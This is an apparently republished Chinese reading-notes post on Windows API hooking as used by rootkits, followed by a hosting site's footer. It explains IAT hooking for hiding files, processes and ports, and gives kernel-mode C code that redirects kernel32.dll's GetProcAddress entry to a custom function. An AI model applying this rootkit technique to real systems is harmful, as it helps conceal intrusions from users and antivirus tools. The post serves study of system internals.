讀書筆記_windows的APIHook技術

來源:互聯網
上載者:User

首先介紹一下rootkits,rootkits是一種高端的駭客技術,能夠運行在核心態,與殺毒軟體處於同一層級,很難被發現與清除。

  在windows系統中,大多數的進程都依賴於3個子系統:Win32,POSIX和OS/2子系統,這些子系統包含了一組良好的說明的API,大多數的程式都依賴與這些API,因此它們都是rootkit的極佳目標。

  來看一個應用程式調用FindNextFile函數的過程,FindNextFile是Kernel32.dll匯出的函數,所以應用程式在運行時載入Kernel32.dll,並將這些函數的記憶體位址複製到自己的函數匯入地址表(import Address Table,IAT)。當應用程式調用FindNextFile時,進程的執行跳轉到它的IAT中的位置,從Kernel32.dll中FindNextFile函數的地址處繼續執行。

   然後Kernel32.dll中的FindNextFile調用到Ntdll.dll中。Ntdll.dll向EAX寄存器載入該函數的等價核心功能,即NtQueryDirectoryFile的系統服務編號,並向EDX載入該函數參數的使用者空間地址。然後發送一個INT 2E或SYSENTER指令以自陷(trap)到核心中。

因為應用程式將kernel32.dll載入到自己的私人地址空間0x00010000和0x7FFE0000之間,所以rootkit只要能夠訪問目標進程的地址空間,它就可以直接重寫kernel32.dll中或應用程式的匯入表中的任何函數。這稱為API鉤子。在應用程式的私人地址中,可以找到FindNextFile函數的起始地址,然後使用手工編寫的機器代碼來重寫FindNextFile函數,從而避免列出特定的檔案或改變FindNextFile的效能。Rookit也可以重寫目標應用程式中的匯入表(IAT),使其指向自己寫的函數而不是kernel32.dll中的函數。通過鉤住API函數,可以完成隱藏進程,隱藏網路連接埠,將檔案寫操作重新導向到其他檔案,防止應用程式開啟特定進程的控制代碼等功能。下面介紹IAT鉤子:

   當應用程式使用另一個庫中的函數時,必須匯入該函數的地址。應用程式所用的所有DLL都包含在該應用程式檔案系統映像的IMAGE_IMPORT_DESCRIPTOR結構中。這個結構包含了應用程式匯入的函數所屬的DLL名,以及兩個IMAGE_IMPORT_BY_NAME數組指標。IMGE_IMPORT_BY_NAME結構包含了應用程式所使用的匯入函數的名稱。

作業系統將應用程式載入到記憶體時,分析這些IMAGE_IMPORT_DESCRIPTOR結構,並將所需的全部DLL載入全部DLL載入到該應用程式的記憶體中。一旦映射了DLL之後,作業系統就在記憶體中定位每個匯入的函數,並使用使用函數的實際地址來重寫一個IMAGE_IMPORT_BY_NAME數組。一旦rootkit的鉤子函數處於應用程式的地址空間中,rootkit就可以分析記憶體中目標應用程式的PE格式,將IAT中目標函數的地址替換為鉤子函數的地址。然後,當調用目標函數時,就會執行鉤子函數而不是原始函數。

無論是在核心空間還是使用者空間,當一個可執行檔鏡像映射到虛擬記憶體中時,可以通過註冊PsSetLoadImageNotifyRoutine這個函數來撲捉到匯入的鏡像檔案。它的唯一一個參數是是分析鏡像的回呼函數。更改IAT中函數地址的過程如下:

             PIMAGE_DOS_HEADER dosHeader;

              PIMAGE_NT_HEADERS pNTHeader;

              PIMAGE_IMPORT_DESCRIPTOR importDesc;

              PIMAGE_IMPORT_BY_NAME p_ibn;

              DWORD importsStartRVA;

              PWORD pd_IAT, pd_INTO;

              int count, index;

              char *dll_name = NULL;

              char *pc_dlltar = "kernel32.dll";

              char *pc_fnctar = "GetProcAddress";

              PMDL p_mdl;

              PDWORD MappedImTable;

              // 匯入的是IMAGE_INFO結構中的 PVOID ImageBase變數

dosHeader = (PIMAGE_DOS_HEADER) image_addr;

 

              // 宏,對指標的操作

pNTHeader = MakePtr ( PIMAGE_NT_HEADERS, dosHeader, dosHeader->e_lfanew );

 

              // 通過PE檔案的Signature欄位來判斷該檔案是否是標準的PE檔案

              if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE)

                            return STATUS_INVALID_IMAGE_FORMAT;

     // 匯入段的RVA

              importsStartRVA = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

 

    if ( !importsStartRVA )

                            return STATUS_INVALID_IMAGE_FORMAT;

// 匯入段的RVA與模組在記憶體中的起始地址(dosHeader)相加,得到

// 指向第一個IMAGE_IMPORT_DESCRIPTOR的指標

    importDesc = ( PIMAGE_IMPORT_DESCRIPTOR ) (importsStartRVA + (DWORD)dosHeader);

     // 過濾每個IMAGE_IMPORT_DESCRIPTOR

              for(count = 0; importDesc[count].Characteristics != 0; count++)

              {

                            // 得到匯入模組的dll的名稱

dll_name = (char*)(importDesc[count].Name + (DWORD)dosHeader);

// 得到IAT

                            pd_IAT = (PDWORD)(((DWORD)dosHeader) + (DWORD)importDesc[count].FirstThunk);

          // 得到指向IMAGE_IMPORT_BY_NAME結構的指標數組

                            pd_INTO = (PDWORD)(((DWORD)dosHeader) + (DWORD)importDesc[count].OriginalFirstThunk);

          // IAT中的過濾,找到特定的dll與要hook的函數

                            for ( index = 0; pd_IAT[index] != 0; index++)

                            {

                                          // if this is an import by ordinal

                                          // the high bit is set

                                          if((pd_INTO[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG)

                                          {

                                                        // 得到函數名結構

p_ibn = (PIMAGE_IMPORT_BY_NAME)(pd_INTO[index] + ((DWORD)dosHeader));

// 對比dll名與函數名,找到所需要的

                                                        if((_stricmp(dll_name, pc_dlltar) == 0) && (strcmp(p_ibn->Name, pc_fnctar) ==0))

                                                        {

                                                                      // Use the trick you already learned to map a different

                                                                      // virtual address to the same physical page so no permission problems

                                                                      //

                                                                      // Map the memory into our domain so we can change the

                                                                      // permissions on the MDL

                           // 改變記憶體屬性,以便修改IAT屬性

                          // MDL方法修改記憶體屬性,以後的文章中會詳細介紹

                                                                      p_mdl = MmCreateMdl(NULL, &pd_IAT[index], 4);

                                                                      if(!p_mdl)

                                                                                    return STATUS_UNSUCCESSFUL;

                                                                      MmBuildMdlForNonPagedPool(p_mdl);

                                                                      // Change the flags of MDL

                                                                      p_mdl->MdlFlags = p_mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

                                                                      MappedImTable = MmMapLocakedPages(p_mdl, KernelMode);

 

                                                                      // Address of the "new function"

                          // 將“GetProcAddress”指向自己定義的函數

                                                                      *MappedImTable = d_shareM;

                                                                      // Free MDL

                                                                      MmUnmapLoackedPages(MappedImTable, p_mdl);

                                                                      IoFreeMdl(p_mdl);

 

                                                        }

                                          }

                            }

                            return STATUS_SUCCESS;

 

              }

 

 

 

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.